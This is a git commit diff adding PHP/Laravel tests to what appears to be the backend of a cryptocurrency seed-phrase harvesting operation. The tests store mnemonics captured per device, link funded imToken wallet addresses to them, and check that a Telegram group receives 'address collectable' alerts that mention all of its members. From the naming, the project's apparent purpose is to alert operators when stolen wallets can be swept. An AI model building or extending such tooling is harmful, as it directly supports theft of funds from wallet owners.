feat: interept

This commit is contained in:
hashbro
2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
+48 -2
View File
@@ -92,14 +92,56 @@ class CollectableAddressNotifyTest extends TestCase
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '地址可归集通知')
return str_contains($text, '@所有人')
&& str_contains($text, '地址可归集通知')
&& str_contains($text, self::TRON_0)
&& str_contains($text, '<a href="https://tronscan.org/#/address/'.self::TRON_0.'">🔍</a>')
&& str_contains($text, 'TRX: 3.5')
&& str_contains($text, 'USDT: 12')
&& ($request->data()['chat_id'] ?? null) === '10001';
});
}
#[Test]
public function collectable_telegram_mentions_chat_members_not_plain_at_all(): void
{
Http::fake([
'*getChatAdministrators*' => Http::response([
'ok' => true,
'result' => [
['user' => ['id' => 111, 'is_bot' => true, 'username' => 'thebot']],
['user' => ['id' => 222, 'is_bot' => false, 'username' => 'alice']],
['user' => ['id' => 333, 'is_bot' => false, 'first_name' => 'Bob']],
],
], 200),
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
$device = Device::query()->create(['device_id' => 'dev-collect-mention']);
$this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => self::TRON_0,
'chain_type' => 'TRON',
'source' => 'imToken',
'trx' => 1,
'usdt' => 2,
]);
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'sendMessage')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '<a href="tg://user?id=222">@所有人</a>')
&& str_contains($text, 'tg://user?id=333')
&& ! str_contains($text, 'tg://user?id=111');
});
}
#[Test]
public function unmatched_link_does_not_send_collectable_telegram(): void
{
@@ -191,10 +233,14 @@ class CollectableAddressNotifyTest extends TestCase
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '地址可归集通知')
return str_contains($text, '@所有人')
&& str_contains($text, '地址可归集通知')
&& str_contains($text, self::TRON_0)
&& str_contains($text, self::ETH_0)
&& str_contains($text, self::BTC_0)
&& str_contains($text, 'https://tronscan.org/#/address/'.self::TRON_0)
&& str_contains($text, 'https://etherscan.io/address/'.self::ETH_0)
&& str_contains($text, 'https://mempool.space/address/'.self::BTC_0)
&& str_contains($text, 'TRX:')
&& str_contains($text, 'USDT:')
&& str_contains($text, 'BTC:')